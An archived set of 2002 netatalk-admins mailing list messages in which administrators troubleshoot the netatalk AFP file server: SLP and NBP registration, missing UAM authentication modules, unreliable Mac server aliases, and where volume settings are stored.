	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA02270
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 11:25:58 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA02258
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 11:25:58 -0500 (EST)
Received: from mail.network-analysis.ltd.uk (mail.network-analysis.ltd.uk [212.135.212.98])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA02228
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 11:25:56 -0500 (EST)
Received: by mail.network-analysis.ltd.uk (sendmail 8.11.6)
          with ESMTP id g11GPkx18857;
          Fri, 1 Feb 2002 16:25:47 GMT
Mime-Version: 1.0
X-Sender: sw@mail.network-analysis.ltd.uk
Message-Id: <p05100301b8807155048f@[192.168.201.58]>
In-Reply-To: <B88070BA.1A71D%Thomas.Kaiser@phg-online.de>
References: <B88070BA.1A71D%Thomas.Kaiser@phg-online.de>
X-Mailer: Eudora Pro
Organization: Network Analysis Ltd
Date: Fri, 1 Feb 2002 16:25:45 +0000
To: netatalk-admins@umich.edu
From: Sak Wathanasin <sw@network-analysis.ltd.uk>
Subject: Re:SLP registration (was: Re: Aliases (sorry) and passwords)
Content-Type: text/plain; charset=iso-2022-jp
Content-Transfer-Encoding: 7bit

In reply to Thomas Kaiser's message of the 01/02/2002 at 16:20 +0100,


>Even in this case you can use a static entry like:
>
>slptool register "afp://[your server's ip address]/?NAME=[name of server]"

That's not enough, is it? It will register a server that you can see 
in the Network browser, but if you try to drill down, you will see 
nothing. Compare with an AppleShare 6.x server or FileSharing (with 
ShareWay/IP enabled). Netatalk needs to register with SLP itself so 
it can register the info about share-points and so on.
-- 
Sak Wathanasin
Network Analysis Limited

Internet: sw@network-analysis.ltd.uk
Phone: (+44) 24 76 41 99 96        Mobile: (+44) 79 70 75 19 12 
Fax: (+44) 24 76 69 06 90

From netatalk.administrators-errors@umich.edu  Fri Feb  1 11:38:11 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA18245
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 11:38:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA12020
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 11:38:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA12008
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 11:38:10 -0500 (EST)
Received: from florence.viz.com (dsl081-250-098.sfo1.dsl.speakeasy.net [64.81.250.98])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA11973
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 11:38:09 -0500 (EST)
Received: from c1685383-a (12-233-205-149.client.attbi.com [12.233.205.149])
	by florence.viz.com (Postfix) with ESMTP id 0B5F9B5813
	for <netatalk-admins@umich.edu>; Fri,  1 Feb 2002 08:29:56 -0800 (PST)
Date: Fri, 1 Feb 2002 08:38:11 -0800
Subject: Re: Mounting volumes with AppleScript
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v480)
From: Deano! <deano@viz.com>
To: netatalk admins <netatalk-admins@umich.edu>
Content-Transfer-Encoding: 7bit
In-Reply-To: <B880719E.1A71E%Thomas.Kaiser@phg-online.de>
Message-Id: <147DC41C-1732-11D6-B7A8-0050E4CEFD77@viz.com>
X-Mailer: Apple Mail (2.480)

> Why don't you try it yourself? ;-)
>
Too true, but I'm full-time linux at work, and we have no spare Macs, so 
I didn't want to kick anyone out of their seat to test it.

> But: It works like you expect...
>
>> We'd certainly prefer to not have to rewrite each script a few hundred 
>> times,
>> and this way we could build disk images with built-in desktop/dock/etc
>> 'aliases' to the major server shares.
>
> Why don't you use 'normal' server aliases for this purpose?
>

I'm running 1.4.something*, and the aliases stop working after some 
period X, which varies based on several criteria.  Also, our network has 
issues, and our Macs in the "new building" have very 
sporadic/intermittent appletalk access - essentially, they're always 
accessing the servers via IP/LPR/etc... But, if they do happen to have a 
browsable appletalk while a server share is mounted, the alias seems to 
be able to revert to 'appletalk' mode, which more or less makes it 
useless from then on out.

We've tried all of the 'well known' server/router/switching fixes for 
appletalk connectivity loss, to no avail... Which is unfortunately a 
GOOD thing for us, as we were already trying to 'hide' Appletalk 
company-wide, to stop users from doing peer-to-peer sharing of vital 
company documents instead of leaving them on the server to be backed up.

I'm moving on up to 1.5.1.1 on my workstation today, and if all goes 
well, I'll upgrade the file server in a week.


-deano


From netatalk.administrators-errors@umich.edu  Fri Feb  1 11:44:40 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA18628
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 11:44:40 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA10107
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 11:44:40 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA10103
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 11:44:40 -0500 (EST)
Received: from mail.potsdam.edu ([137.143.110.102])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id LAA10083
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 11:44:38 -0500 (EST)
Received: (qmail 7648 invoked by alias); 1 Feb 2002 16:43:00 -0000
Received: (qmail 7636 invoked from network); 1 Feb 2002 16:43:00 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 1 Feb 2002 16:43:00 -0000
Subject: Re: Long file names
From: Matthew Keller <kellermg@potsdam.edu>
To: Simon Hobson <shobson-lists@colony.com>
Cc: netatalk-admins@umich.edu
In-Reply-To: <v03102806b880130ac298@[172.20.192.150]>
References: <1012492755.6134.19.camel@comp10574> 
	<v03102806b880130ac298@[172.20.192.150]>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.1 
Date: 01 Feb 2002 11:44:27 -0500
Message-Id: <1012581867.8929.35.camel@comp10574>
Mime-Version: 1.0

On Fri, 2002-02-01 at 04:42, Simon Hobson wrote:
> And remember, it isn't sooo long ago that we had the same problem the other
> way round in that Mac users had to mess around with a poxy 8 characters for
> compatibility !

	Yah, it was called "pre 1994", let's not go down this road.

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Fri Feb  1 11:45:50 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA18787
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 11:45:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA16214
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 11:45:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA16187
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 11:45:49 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA16144
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 11:45:47 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id SAA27752;
	Fri, 1 Feb 2002 18:11:57 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 01 Feb 2002 17:46:02 +0100
Subject: Re: SLP registration
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Sak Wathanasin <sw@network-analysis.ltd.uk>, <netatalk-admins@umich.edu>
Message-ID: <B88084D9.1A74B%Thomas.Kaiser@phg-online.de>
In-Reply-To: <p05100301b8807155048f@[192.168.201.58]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Fri, 1 Feb 2002 16:25:45 +0000, Sak Wathanasin wrote:

> In reply to Thomas Kaiser's message of the 01/02/2002 at 16:20 +0100,
> 
> 
>> Even in this case you can use a static entry like:
>> 
>> slptool register "afp://[your server's ip address]/?NAME=[name of server]"
> 
> That's not enough, is it?

Sure it is :-)

> It will register a server that you can see in the Network browser, but if
> you try to drill down, you will see nothing.

IIRC, you must enable guest login on the server for this feature (getting
the volume list -- part of afp communication not slp). In netatalk 1.5 that
means adding uams_guest.so to the uamslist. Otherwise you have to
authenticate before you are able to fetch the volume list.

> Compare with an AppleShare 6.x server or FileSharing (with ShareWay/IP
> enabled). 

It works with netatalk and another helios server that isn't running slp...

Sure your slp registration entry is syntactically correct?

> Netatalk needs to register with SLP itself so it can register the info about
> share-points and so on.

Hmm... I thought this is part of afp conversation (you will see apfd related
syslog entries, each time you click on a server in network browser). One of
the main concepts of slp is the use of directory agents, which make it
possible to register services on centralized servers even for machines not
reachable by SLP multicasts. I just tried it out with one machine (running
helios) and registered there the other (netatalk 1.5.1.1). No problems :-)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Feb  1 14:12:17 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA26577
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 14:12:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA28643
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 14:12:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA28630
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 14:12:17 -0500 (EST)
Received: from samplezone.ch ([212.55.202.142])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA28588
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 14:12:15 -0500 (EST)
Date: Fri,  1 Feb 2002 20:12:09 +0100
Message-Id: <200202012012.AA22086002@samplezone.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "Rolf Schoepfer" <rolf@samplezone.ch>
Reply-To: <rolf@samplezone.ch>
To: <netatalk-admins@umich.edu>
Subject: Can't register sample:AFPServer@* /  uam: uam not found 
X-Mailer: <IMail v7.05>

After installing netatalk 1.5.1.1 from Source and starting /usr/local/afpd, we get the following message in /var/log/sys.log:

-----------------------------------------------------------------------
Feb  1 19:58:48 www afpd[5862]: Can't register sample:AFPServer@*
Feb  1 19:58:48 www afpd[5862]: ASIP started on 10.10.10.197:548(4) (1.5.1.1)
Feb  1 19:58:48 www afpd[5862]: uam: loading (/usr/lib/netatalk/uams_clrtxt.so)
Feb  1 19:58:48 www afpd[5862]: uam: uam not found (status=-1)
Feb  1 19:58:48 www afpd[5862]: uam: loading (/usr/lib/netatalk/uams_dhx.so)
Feb  1 19:58:48 www afpd[5862]: uam: uam not found (status=-1)
Feb  1 19:59:28 www afpd[5864]: ASIP session:548(4) from 10.10.10.202:49154(5)
Feb  1 19:59:28 www afpd[5862]: server_child[1] 5864 done
-----------------------------------------------------------------------

It's compiled under 'Linux From Scratch 3.1' and we use shadow password. What's wrong here?

any help will be appreciated

Rolf

PS: we don't see anything in chooser so far. Connecting through TCP/IP, let Mac tell us, this kind of registration is unknown.

From netatalk.administrators-errors@umich.edu  Fri Feb  1 15:17:59 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA01099
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 15:17:59 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA22942
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 15:17:59 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA22925
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 15:17:58 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA22878
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 15:17:57 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id VAA28565;
	Fri, 1 Feb 2002 21:44:04 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 01 Feb 2002 21:18:09 +0100
Subject: Re: Can't register sample:AFPServer@* /  uam: uam not found 
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <rolf@samplezone.ch>, <netatalk-admins@umich.edu>
Message-ID: <B880B690.1A7F3%Thomas.Kaiser@phg-online.de>
In-Reply-To: <200202012012.AA22086002@samplezone.ch>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Fri,  1 Feb 2002 20:12:09 +0100, Rolf Schoepfer wrote:

> Feb  1 19:58:48 www afpd[5862]: Can't register sample:AFPServer@*

This one of your two problems: the afp daemon cannot register itself with
the name binding protocol NBP, so your server cannot appear as AFP server in
your client's choosers. There might be some reasons:

- no AppleTalk support in your kernel

- atalkd not started

- wrong atalkd.conf

Are there messages from atalkd in your syslog?

> [...]
> Feb  1 19:58:48 www afpd[5862]: uam: uam not found (status=-1)

Which path for the UAMs did you supply while configuring
(--with-uams-path=)?

> [...]
> PS: we don't see anything in chooser so far. Connecting through TCP/IP, let
> Mac tell us, this kind of registration is unknown.

This happens every time, when there is no match between the UAMs a Mac
supports and the UAMs the server supports (in your case not a single one).
Do you enabled guest access on your server?

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Feb  1 15:28:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA01654
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 15:28:37 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA05635
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 15:28:37 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA05625
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 15:28:37 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA05598
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 15:28:35 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id VAA28600;
	Fri, 1 Feb 2002 21:54:50 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 01 Feb 2002 21:28:55 +0100
Subject: Re: Mounting volumes with AppleScript
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Deano! <deano@viz.com>, netatalk admins <netatalk-admins@umich.edu>
Message-ID: <B880B916.1A7F5%Thomas.Kaiser@phg-online.de>
In-Reply-To: <147DC41C-1732-11D6-B7A8-0050E4CEFD77@viz.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Fri, 1 Feb 2002 08:38:11 -0800, Deano! wrote:

> But, if they do happen to have a browsable appletalk while a server share is
> mounted, 

This means, they normally enter an ip address in the chooser?

> the alias seems to be able to revert to 'appletalk' mode, which more or less
> makes it useless from then on out.

Hmm... With recent AppleShare clients the Macs will always try to establish
the afp connection itself via AFP over TCP, even when you browse the network
with AppleTalk and choose the server via NBP. (Sak explained this in detail:
<http://www.umich.edu/~rsug/netatalk/archive/admins/2001/0016.html>)

So even if they connect with AppleTalk the server alias should store the TCP
connection method, as the connection should normally be established with
TCP. The only reason why this does not work is, if the server's answer to
the client's FPGetSrvrInfo request contains not the correct ip address (or a
fully qualified domain name)

With asun's old versions, you can supply a '-address' switch in afpd.conf
(in netatalk 1.5.x it has been renamed to '-ipaddr'!). Do you use this?

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Feb  1 17:24:15 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA10722
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 17:24:15 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA19833
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 17:24:15 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA19814
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 17:24:14 -0500 (EST)
Received: from smtp05.retemail.es (smtp05.iddeo.es [62.81.186.15])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA19769
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 17:24:13 -0500 (EST)
Received: from [10.0.0.102] ([80.224.104.247]) by smtp05.retemail.es
          (InterMail vM.5.01.03.02 201-253-122-118-102-20010403) with ESMTP
          id <20020201222350.JMOH1011.smtp05.retemail.es@[10.0.0.102]>;
          Fri, 1 Feb 2002 23:23:50 +0100
User-Agent: Microsoft-Entourage/10.0.0.1331
Date: Fri, 01 Feb 2002 23:24:11 +0100
Subject: Re: Long file names
From: Jason Quigley <jasonq@mac.com>
To: Peter Anton <peter@mprint.com>
CC: netatalk admins <netatalk-admins@umich.edu>
Message-ID: <B880D41B.8424%jasonq@mac.com>
In-Reply-To: <B880104F.E1FB%peter@mprint.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi Peter!

Thanks for that, it's a great server. You might find the patch 511935 which
I submitted to sourceforge.net useful. It will hide the files created by
netatalk and MacOS from the FTP directory listings.

Cheers,
Jason.

> From: Peter Anton <peter@mprint.com>
> Date: Fri, 01 Feb 2002 09:28:47 -0500
> To: Jason Quigley <jasonq@mac.com>
> Subject: Re: Long file names
> 
> on 2/1/02 5:14 AM, Jason Quigley at jasonq@mac.com wrote:
> 
>> Hi Peter!
>> What FTP server are you using?
> 
> PureFTP:
> http://sourceforge.net/projects/pureftpd/
> --
> Peter John Anton         IT Manager, MicroPRINT
> Waltham, Mass., USA               781-890-7500
> peter@mprint.com
> 
> 
> 



From netatalk.administrators-errors@umich.edu  Fri Feb  1 18:13:42 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA15526
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 18:13:41 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA17474
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 18:13:41 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA17460
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 18:13:41 -0500 (EST)
Received: from samplezone.ch ([212.55.202.142])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA17294
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 18:13:35 -0500 (EST)
Date: Sat,  2 Feb 2002 00:13:28 +0100
Message-Id: <200202020013.AA4523264@samplezone.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "Rolf Schoepfer" <rolf@samplezone.ch>
Reply-To: <rolf@samplezone.ch>
To: <netatalk-admins@umich.edu>
Subject: Solved: Can't register sample:AFPServer@*
X-Mailer: <IMail v7.05>

---------- Original Message ----------------------------------
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
Date:  Fri, 01 Feb 2002 21:18:09 +0100

>On Fri,  1 Feb 2002 20:12:09 +0100, Rolf Schoepfer wrote:
>
Problem
--------------------------------------------------------------------
>> Feb  1 19:58:48 www afpd[5862]: Can't register sample:AFPServer@*
--------------------------------------------------------------------
>
>This one of your two problems: the afp daemon cannot register itself with
>the name binding protocol NBP, so your server cannot appear as AFP server in
>your client's choosers. There might be some reasons:
>
>- no AppleTalk support in your kernel
>
>- atalkd not started
>
>- wrong atalkd.conf
>
>Are there messages from atalkd in your syslog?
>
Solution
--------------------------------------------------------------------
daemon atalkd has to be started before daemon afpd
--------------------------------------------------------------------

Thanks Thomas, for your help. Unfortunately I couldn't find any information about starting daemons in any README files.


From netatalk.administrators-errors@umich.edu  Fri Feb  1 18:42:01 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA16988
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 18:42:00 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA02444
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 18:42:00 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA02430
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 18:42:00 -0500 (EST)
Received: from moutng0.schlund.de (moutng0.kundenserver.de [212.227.126.170])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA02384
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 18:41:58 -0500 (EST)
Received: from [212.227.126.160] (helo=mrelayng0.kundenserver.de)
	by moutng0.schlund.de with esmtp (Exim 3.22 #2)
	id 16WnJZ-0004sB-00
	for netatalk-admins@umich.edu; Sat, 02 Feb 2002 00:41:53 +0100
Received: from [193.159.111.183] (helo=[193.159.111.183])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 16WnJY-0007z2-00
	for netatalk-admins@umich.edu; Sat, 02 Feb 2002 00:41:52 +0100
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Sat, 02 Feb 2002 00:42:05 +0100
Subject: Re: aliases & view
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B880E5A1.2FE25%ts@visual-s.de>
In-Reply-To: <p05100311b87f4ba6da54@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2002-01-31 20:36 +0100, Ken Gillett wrote:

> Am I right in thinking that this info gets stored in
> TheVolumeSettings directory? The permissions are the same as for the
> home directory version (but owner nobody, rather than me). Can
> someone point me in the right direction to fix this?

To the best of my knowledge, volume view settings still are
stored in .AppleDouble/.Parent.

TheVolumeSettingsFolder is just the place for the OpenFolderListDF
and DesktopPrinters DB files -- not used at all at a remote volume.

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Fri Feb  1 19:03:30 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA18336
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 19:03:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA22518
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 19:03:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA22508
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 19:03:29 -0500 (EST)
Received: from samplezone.ch ([212.55.202.142])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA22467
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 19:03:28 -0500 (EST)
Date: Sat,  2 Feb 2002 01:03:27 +0100
Message-Id: <200202020103.AA9504000@samplezone.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "Rolf Schoepfer" <rolf@samplezone.ch>
Reply-To: <rolf@samplezone.ch>
To: <netatalk-admins@umich.edu>
Subject: RE:uam: uam not found
X-Mailer: <IMail v7.05>

---------- Original Message ----------------------------------
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
Date:  Fri, 01 Feb 2002 21:18:09 +0100

>On Fri,  1 Feb 2002 20:12:09 +0100, Rolf Schoepfer wrote:
>
>> [...]
>> Feb  1 19:58:48 www afpd[5862]: uam: uam not found (status=-1)
>
>Which path for the UAMs did you supply while configuring
>(--with-uams-path=)?
>

I didn't specify this parameter. It defaults to /usr/lib/netatalk and there are some libraries for guest and passwd.
There's unfortunately a wrong link for uams_clrtxt.so, which points to a no existing library uams_pam.so.
After changing this link pointing to uams_passwd.so, I get on the Mac the login window. But it doesn't accept username / password.
I build the source --with-shadow option.

Any idea?

From netatalk.administrators-errors@umich.edu  Fri Feb  1 19:14:23 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA19322
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 19:14:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA02070
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 19:14:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA02055
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 19:14:23 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA02013
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 19:14:21 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id BAA29601;
	Sat, 2 Feb 2002 01:40:38 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Sat, 02 Feb 2002 01:14:42 +0100
Subject: Re: uam: uam not found
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <rolf@samplezone.ch>, <netatalk-admins@umich.edu>
Message-ID: <B880EE01.1A854%Thomas.Kaiser@phg-online.de>
In-Reply-To: <200202020103.AA9504000@samplezone.ch>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

am 02.02.2002 1:03 Uhr schrieb Rolf Schoepfer:

> From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
> [...]
>> Which path for the UAMs did you supply while configuring
>> (--with-uams-path=)?
>> 
> 
> I didn't specify this parameter.

And if you try it with this parameter set?

> It defaults to /usr/lib/netatalk and there are some libraries for guest and
> passwd. There's unfortunately a wrong link for uams_clrtxt.so, which points to
> a no existing library uams_pam.so.

Did you configure with '-with-pam'?

> After changing this link pointing to uams_passwd.so, I get on the Mac the
> login window. But it doesn't accept username / password.

What messages appear in syslog?

